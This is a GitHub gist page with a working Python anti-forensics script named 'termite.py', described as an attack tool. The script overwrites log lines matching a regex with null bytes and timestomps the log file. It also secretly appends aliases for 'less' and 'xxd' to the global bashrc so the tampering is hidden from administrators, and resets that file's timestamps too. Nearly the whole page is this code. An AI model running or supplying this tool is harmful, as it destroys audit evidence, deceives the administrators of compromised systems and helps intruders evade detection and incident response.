Created
December 2, 2019 03:16
-
-
Save cetaSYN/42108947594eed4015fa49f44d3cb3ef to your computer and use it in GitHub Desktop.
Overwrites matching logs in a single read/write pass while maintaining date and aliasing some log-reading tools
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
''' | |
File Name: termite.py | |
Author: cetaSYN | |
Created Date: 20 Apr 18 | |
Python Version: 2.7 | |
Matches logs using regular expressions then overwrites the matching lines. | |
Overwrite operation occurs in same pass as read, and overwrites with \x00 | |
Automatically timestomps and adds aliases to help mask changes from admins. | |
''' | |
from __future__ import with_statement | |
from __future__ import print_function | |
from dateutil.parser import parse | |
import time | |
import argparse | |
import re | |
import os | |
def main(): | |
parser = argparse.ArgumentParser( | |
description='Removes lines from a log matching a regex') | |
parser.add_argument('target_file', help='File to target for line removal') | |
parser.add_argument('regex', | |
help='Regular expression to match for line removal') | |
parser.add_argument('-nb', '--nobashrc', action='store_true', | |
help='Don\'t alias common admin commands') | |
args = parser.parse_args() | |
regex = re.compile(args.regex) | |
# Verify we have adequate access to the target | |
if not os.access(args.target_file, os.F_OK): | |
exit('File does not exist.') | |
if not os.access(args.target_file, os.R_OK): | |
exit('No read access.') | |
if not os.access(args.target_file, os.W_OK): | |
exit('No write access.') | |
if not alias_global(): | |
try: | |
raw_input("Could not alias global bashrc.\nPress [Enter] to" + | |
"ignore and continue, or [Ctrl-C] to quit.") | |
except KeyboardInterrupt as kerr: | |
print("\nExiting...") | |
exit() | |
results = clean_log(args.target_file, regex) | |
print('Cleaned {} logs from {}.'.format(results[0], args.target_file)) | |
timestomp(args.target_file, results[1]) | |
print('Timestomped {} to {}.'.format(args.target_file, results[1])) | |
def clean_log(target, regex): | |
""" Removes logs from target log file that match regex. | |
Returns tuple of number of logs cleaned and most recent intact log. | |
""" | |
# Clean logs | |
cleaned_count = 0 | |
with open(target, 'r+') as target_file: | |
while True: | |
point = target_file.tell() # Store the start of the line | |
line = target_file.readline() | |
# Check if we're at the end of the file | |
if len(line) == 0: | |
break # Break if we're at the end | |
# Overwrite matching logs | |
if regex.search(line): # If the line matches regex increment | |
cleaned_count += 1 | |
target_file.seek(point) # Go back to the beginning of the line | |
# Overwrite with control chars character | |
target_file.write('\x00'*((len(line)))) | |
continue | |
try: | |
# Save a valid timestamp | |
newest_timestamp = parse(' '.join(line.split()[0:3])) | |
except ValueError as verr: | |
print('Timestamp parsing error. May not be able to timestomp.') | |
return (cleaned_count, newest_timestamp) | |
def timestomp(target_file, timestamp): | |
""" Timestomps a target file to a specified date | |
""" | |
timestamp = int(time.mktime(timestamp.timetuple())) | |
os.utime(target_file, (timestamp, timestamp)) | |
def timestomp_am(target_file, atime, mtime): | |
""" Timestomps a target file to a specified date | |
""" | |
os.utime(target_file, (atime, mtime)) | |
def alias_global(): | |
""" Attempts to modify global bashrc files to append malicious aliases. | |
""" | |
alias_file = '/etc/bash.bashrc' | |
# Check if we have access to global config | |
if not os.access(alias_file, os.F_OK): | |
alias_file = '/etc/bashrc' | |
if not os.access(alias_file, os.F_OK): | |
print('Could not find global bashrc.') | |
return False | |
if not os.access(alias_file, os.R_OK): | |
print('No read access to {}.'.format(alias_file)) | |
return False | |
# Check if we have already put them in place. | |
if not has_aliases(alias_file): | |
if not os.access(alias_file, os.W_OK): | |
print('No write access to {}'.format(alias_file)) | |
return False | |
# We have access. Do it. | |
append_aliases(alias_file) | |
return True # Success, either now or earlier. | |
def has_aliases(alias_file): | |
""" Checks if the global bashrc already has one or more of our aliases. | |
""" | |
with open(alias_file, 'r') as alias: | |
data = alias.read() | |
if "alias less=\'less -r\'\n" in data or \ | |
"alias xxd=\'xxd -a\'\n" in data: | |
return True | |
return False | |
def append_aliases(alias_file): | |
""" Appends custom aliases to make spotting our log-modding less likely. | |
Automatically timestomps to previous atime/mtime. | |
""" | |
atime = os.path.getatime(alias_file) | |
mtime = os.path.getmtime(alias_file) | |
with open(alias_file, 'a') as alias: | |
alias.write("\n") | |
alias.write("# Enables raw printing for administration commands.\n") | |
# Enables raw char printing (\x00 is non-printable) for less | |
alias.write("alias less=\'less -r\'\n") | |
# Enables \x00 auto-skip, so we blend easier | |
alias.write("alias xxd=\'xxd -a\'\n") | |
timestomp_am(alias_file, atime, mtime) | |
if __name__ == '__main__': | |
main() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Matches logs using regular expressions then overwrites the matching lines.
Overwrite operation occurs in same pass as read, and overwrites with \x00
Automatically timestomps and adds aliases to help mask changes from admins.